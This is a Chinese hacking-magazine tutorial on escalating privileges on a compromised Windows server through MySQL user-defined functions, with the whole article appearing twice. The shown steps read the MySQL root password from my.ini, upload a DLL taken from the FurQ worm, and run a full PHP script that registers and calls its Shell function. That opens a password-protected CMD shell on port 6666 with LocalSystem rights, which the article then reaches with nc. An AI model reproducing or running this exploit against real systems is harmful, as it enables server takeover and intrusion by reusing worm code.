提權(quán),以MySQL之名
更新時(shí)間:2007年01月10日 00:00:00 作者:
作者kEvin
注:稿件已刊登于《黑客防線》2005年第7期上,轉(zhuǎn)載請(qǐng)著明版權(quán)與出處。
前不久網(wǎng)上公開了一個(gè)MySQL Func的漏洞,講的是使用MySQL創(chuàng)建一個(gè)自定義的函數(shù),然后通過這個(gè)函數(shù)來攻擊服務(wù)器。最早看到相關(guān)的報(bào)道是在o-otik上,但是公布的是針對(duì)Unix系統(tǒng)的Exploit,并且成功率也不是很高.而近期,國內(nèi)有高手放出針對(duì)Win系統(tǒng)的相關(guān)文章,于是我馬上找來與朋友一同研究.
其實(shí)我們?cè)缇湍芟氲?當(dāng)我們?cè)趯?duì)MSSQL\Oracle數(shù)據(jù)庫進(jìn)行攻擊的時(shí)候,得到了最數(shù)據(jù)庫中高權(quán)限的帳戶,往往都是執(zhí)行特殊的擴(kuò)展過程或者函數(shù)來進(jìn)行攻擊的。比如MSSQL有Xp_cmdshell,Oracle可以通過Msvcrt.dll來創(chuàng)建一個(gè)特殊的函數(shù).而我們卻始終沒有想到,作為流行的數(shù)據(jù)庫軟件之一的MySQL,也是可以進(jìn)行函數(shù)的創(chuàng)建的.由此看來,MySQL的這個(gè)漏洞不應(yīng)稱為漏洞而僅僅是一個(gè)技術(shù)而已.
廢話一堆過后,我們來了解一下怎么在MySQL里創(chuàng)建一個(gè)函數(shù)吧.這比如何利用重要許多,只要了解了原理,運(yùn)用就能更加靈活,而且可以與其他思想融會(huì)貫通.
MySQL中創(chuàng)建一個(gè)函數(shù)的語句為:
Create Function FunctionName Returns [String|Integer|Real] Soname 'C:\function.dll';
其中FunctionName指的是函數(shù)的名稱,C:\Function.DLL指的是函數(shù)所調(diào)用的DLL,而函數(shù)名正是DLL中的函數(shù)名稱.不過這里需要我們注意的是,如果我們需要MySQL可以在函數(shù)之中附帶一個(gè)參數(shù)的話,那么就要符合UDF形式的程序編寫規(guī)則,具體的可以查看MySQL手冊(cè)的第14節(jié):《為MySQL增加新函數(shù)》.而其中STRING,INTEGET,REAL是函數(shù)執(zhí)行后所返回的值的形式.當(dāng)然,我們大可不必遵循UDF形式的編寫,其實(shí)如果我們的函數(shù)中使用一個(gè)我們要執(zhí)行的代碼,而不使用參數(shù),一樣可以達(dá)到攻擊的效果,比如說System("command.com")等等.網(wǎng)上現(xiàn)在以此漏洞進(jìn)行攻擊的FurQ蠕蟲就是一個(gè)不使用UDF格式的例子.但是注意,這個(gè)創(chuàng)建函數(shù)的語句必須要求我們所用的MySQL帳戶有對(duì)mysql這個(gè)數(shù)據(jù)庫的寫權(quán)限,否則無法正常使用.
好了.了解了原理之后,我們來實(shí)戰(zhàn)一下如何使用MySQL提升權(quán)限.
在這里我們已經(jīng)通過各式各樣的漏洞取得了一個(gè)服務(wù)器的WebShell,我這里演示的是angel的phpspy,因?yàn)镻HP默認(rèn)有連接MySQL的函數(shù),而ASP這些需要使用附加的組件來進(jìn)行連接,本身不具備條件的.
一般來說,在Win系統(tǒng)下面,很多軟件都會(huì)在系統(tǒng)目錄下創(chuàng)建一個(gè)叫my.ini的文件,其中包含了很敏感的MySQL信息.而如果我們攻克的主機(jī)沒有非常好的權(quán)限設(shè)置的話,我們本身就具有對(duì)%windir%目錄的瀏覽權(quán)限,所以可以非常容易的讀取其中的信息.而且非常多的管理員通常是將root帳戶與密碼寫進(jìn)這個(gè)My.ini,所以一旦我們讀到root用戶的密碼,就可以操縱整個(gè)MySQL數(shù)據(jù)庫或者是服務(wù)器了.如圖1.
得到MySQL的Root密碼之后,我們需要上傳我們的DLL文件,我這里使用的是從FurQ蠕蟲中提取的FurQ.dll.執(zhí)行這個(gè)FurQ.DLL中的Shell函數(shù),系統(tǒng)將會(huì)在6666端口打開一個(gè)帶密碼的CMDShell,當(dāng)然,密碼我們已經(jīng)知道,就是"FurQ"幾個(gè)字符而已.不過我們現(xiàn)在還沒有執(zhí)行的條件.需要通過MySQL將這個(gè)函數(shù)創(chuàng)建到MySQL中去.
現(xiàn)在,我們用PHPSPY新建一個(gè)PHP文件.
輸入以下的內(nèi)容
<?php
$link=mysql_connect('127.0.0.1','root','root');
if (!$link) {
die('Could NOt Connect The Database!: ' . mysql_error());
};
echo "Good Boy.Connected!<br>";
//這里的root\root就是從my.ini中讀取的用戶和密碼.
@mysql_select_db('mysql') or die ('use database mysql failed!');
echo "Yes You Did!<br>";
//這里選擇使用MySQL數(shù)據(jù)庫表.當(dāng)然你也可以選擇別的,如test.
$query="Create Function Shell RETURNS INTEGER SONAME 'd:\\wwwroot\\FurQ.dll';";
@$result = mysql_query($query, $link) or die ("Create Function Failed!");
echo "Goddess...Successed!<br>";
//這兩句話是關(guān)鍵,執(zhí)行MySQL的創(chuàng)建函數(shù)語句.將d:\wwwroot\furq.dll中的Shell函數(shù)創(chuàng)建進(jìn)MySQL中.使得MySQL可以執(zhí)行這個(gè)Shell函數(shù).
$query="Select Shell();";
@$result = mysql_query($query, $link) or die ("Execute failed");
echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ<br>";
//這一步是執(zhí)行這個(gè)Shell函數(shù),打開服務(wù)器的6666端口.
?>
再次執(zhí)行,全部正常返回.如圖2.那么現(xiàn)在,我們就可以使用nc連接服務(wù)器的6666端口,輸入這個(gè)密碼:FurQ.然后就返回CMDSHELL了..當(dāng)然,由于繼承的是MySQL的權(quán)限,而Win系統(tǒng)下MySQL默認(rèn)以服務(wù)安裝,也就是說,我們得到的Shell為LocalSystem權(quán)限,可以為所欲為了,不過不要做壞事哦.呵呵.
注:稿件已刊登于《黑客防線》2005年第7期上,轉(zhuǎn)載請(qǐng)著明版權(quán)與出處。
前不久網(wǎng)上公開了一個(gè)MySQL Func的漏洞,講的是使用MySQL創(chuàng)建一個(gè)自定義的函數(shù),然后通過這個(gè)函數(shù)來攻擊服務(wù)器。最早看到相關(guān)的報(bào)道是在o-otik上,但是公布的是針對(duì)Unix系統(tǒng)的Exploit,并且成功率也不是很高.而近期,國內(nèi)有高手放出針對(duì)Win系統(tǒng)的相關(guān)文章,于是我馬上找來與朋友一同研究.
其實(shí)我們?cè)缇湍芟氲?當(dāng)我們?cè)趯?duì)MSSQL\Oracle數(shù)據(jù)庫進(jìn)行攻擊的時(shí)候,得到了最數(shù)據(jù)庫中高權(quán)限的帳戶,往往都是執(zhí)行特殊的擴(kuò)展過程或者函數(shù)來進(jìn)行攻擊的。比如MSSQL有Xp_cmdshell,Oracle可以通過Msvcrt.dll來創(chuàng)建一個(gè)特殊的函數(shù).而我們卻始終沒有想到,作為流行的數(shù)據(jù)庫軟件之一的MySQL,也是可以進(jìn)行函數(shù)的創(chuàng)建的.由此看來,MySQL的這個(gè)漏洞不應(yīng)稱為漏洞而僅僅是一個(gè)技術(shù)而已.
廢話一堆過后,我們來了解一下怎么在MySQL里創(chuàng)建一個(gè)函數(shù)吧.這比如何利用重要許多,只要了解了原理,運(yùn)用就能更加靈活,而且可以與其他思想融會(huì)貫通.
MySQL中創(chuàng)建一個(gè)函數(shù)的語句為:
Create Function FunctionName Returns [String|Integer|Real] Soname 'C:\function.dll';
其中FunctionName指的是函數(shù)的名稱,C:\Function.DLL指的是函數(shù)所調(diào)用的DLL,而函數(shù)名正是DLL中的函數(shù)名稱.不過這里需要我們注意的是,如果我們需要MySQL可以在函數(shù)之中附帶一個(gè)參數(shù)的話,那么就要符合UDF形式的程序編寫規(guī)則,具體的可以查看MySQL手冊(cè)的第14節(jié):《為MySQL增加新函數(shù)》.而其中STRING,INTEGET,REAL是函數(shù)執(zhí)行后所返回的值的形式.當(dāng)然,我們大可不必遵循UDF形式的編寫,其實(shí)如果我們的函數(shù)中使用一個(gè)我們要執(zhí)行的代碼,而不使用參數(shù),一樣可以達(dá)到攻擊的效果,比如說System("command.com")等等.網(wǎng)上現(xiàn)在以此漏洞進(jìn)行攻擊的FurQ蠕蟲就是一個(gè)不使用UDF格式的例子.但是注意,這個(gè)創(chuàng)建函數(shù)的語句必須要求我們所用的MySQL帳戶有對(duì)mysql這個(gè)數(shù)據(jù)庫的寫權(quán)限,否則無法正常使用.
好了.了解了原理之后,我們來實(shí)戰(zhàn)一下如何使用MySQL提升權(quán)限.
在這里我們已經(jīng)通過各式各樣的漏洞取得了一個(gè)服務(wù)器的WebShell,我這里演示的是angel的phpspy,因?yàn)镻HP默認(rèn)有連接MySQL的函數(shù),而ASP這些需要使用附加的組件來進(jìn)行連接,本身不具備條件的.
一般來說,在Win系統(tǒng)下面,很多軟件都會(huì)在系統(tǒng)目錄下創(chuàng)建一個(gè)叫my.ini的文件,其中包含了很敏感的MySQL信息.而如果我們攻克的主機(jī)沒有非常好的權(quán)限設(shè)置的話,我們本身就具有對(duì)%windir%目錄的瀏覽權(quán)限,所以可以非常容易的讀取其中的信息.而且非常多的管理員通常是將root帳戶與密碼寫進(jìn)這個(gè)My.ini,所以一旦我們讀到root用戶的密碼,就可以操縱整個(gè)MySQL數(shù)據(jù)庫或者是服務(wù)器了.如圖1.
得到MySQL的Root密碼之后,我們需要上傳我們的DLL文件,我這里使用的是從FurQ蠕蟲中提取的FurQ.dll.執(zhí)行這個(gè)FurQ.DLL中的Shell函數(shù),系統(tǒng)將會(huì)在6666端口打開一個(gè)帶密碼的CMDShell,當(dāng)然,密碼我們已經(jīng)知道,就是"FurQ"幾個(gè)字符而已.不過我們現(xiàn)在還沒有執(zhí)行的條件.需要通過MySQL將這個(gè)函數(shù)創(chuàng)建到MySQL中去.
現(xiàn)在,我們用PHPSPY新建一個(gè)PHP文件.
輸入以下的內(nèi)容
<?php
$link=mysql_connect('127.0.0.1','root','root');
if (!$link) {
die('Could NOt Connect The Database!: ' . mysql_error());
};
echo "Good Boy.Connected!<br>";
//這里的root\root就是從my.ini中讀取的用戶和密碼.
@mysql_select_db('mysql') or die ('use database mysql failed!');
echo "Yes You Did!<br>";
//這里選擇使用MySQL數(shù)據(jù)庫表.當(dāng)然你也可以選擇別的,如test.
$query="Create Function Shell RETURNS INTEGER SONAME 'd:\\wwwroot\\FurQ.dll';";
@$result = mysql_query($query, $link) or die ("Create Function Failed!");
echo "Goddess...Successed!<br>";
//這兩句話是關(guān)鍵,執(zhí)行MySQL的創(chuàng)建函數(shù)語句.將d:\wwwroot\furq.dll中的Shell函數(shù)創(chuàng)建進(jìn)MySQL中.使得MySQL可以執(zhí)行這個(gè)Shell函數(shù).
$query="Select Shell();";
@$result = mysql_query($query, $link) or die ("Execute failed");
echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ<br>";
//這一步是執(zhí)行這個(gè)Shell函數(shù),打開服務(wù)器的6666端口.
?>
再次執(zhí)行,全部正常返回.如圖2.那么現(xiàn)在,我們就可以使用nc連接服務(wù)器的6666端口,輸入這個(gè)密碼:FurQ.然后就返回CMDSHELL了..當(dāng)然,由于繼承的是MySQL的權(quán)限,而Win系統(tǒng)下MySQL默認(rèn)以服務(wù)安裝,也就是說,我們得到的Shell為LocalSystem權(quán)限,可以為所欲為了,不過不要做壞事哦.呵呵.
相關(guān)文章
MySQL注入中導(dǎo)出字段內(nèi)容的研究通過注入導(dǎo)出WebShell
大家都知道,在MySQL中,無法像MSSQL那樣執(zhí)行script.asp?id=1;insert into table (field) values('angel');--來插入數(shù)據(jù),因?yàn)镸ySQL里最多就是用union聯(lián)合查詢。2008-05-05網(wǎng)絡(luò)安全滲透測(cè)試使用goby檢測(cè)log4j漏洞
這篇文章主要為大家介紹了網(wǎng)絡(luò)安全滲透測(cè)試使用goby檢測(cè)log4j漏洞的過程方法示例有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步2022-02-02如何防止QQ被盜密碼 比較詳細(xì)找回qq號(hào)的方法
今天小編教大家如何更高幾率的找回QQ密碼,需要的朋友可以參考一下2008-02-02入侵ASP.net網(wǎng)站的經(jīng)驗(yàn)附利用代碼
愛好入侵的可以用下面的方法,做網(wǎng)站的朋友就需要了解下面的asp.net的利用代碼,最好來測(cè)試下2008-06-06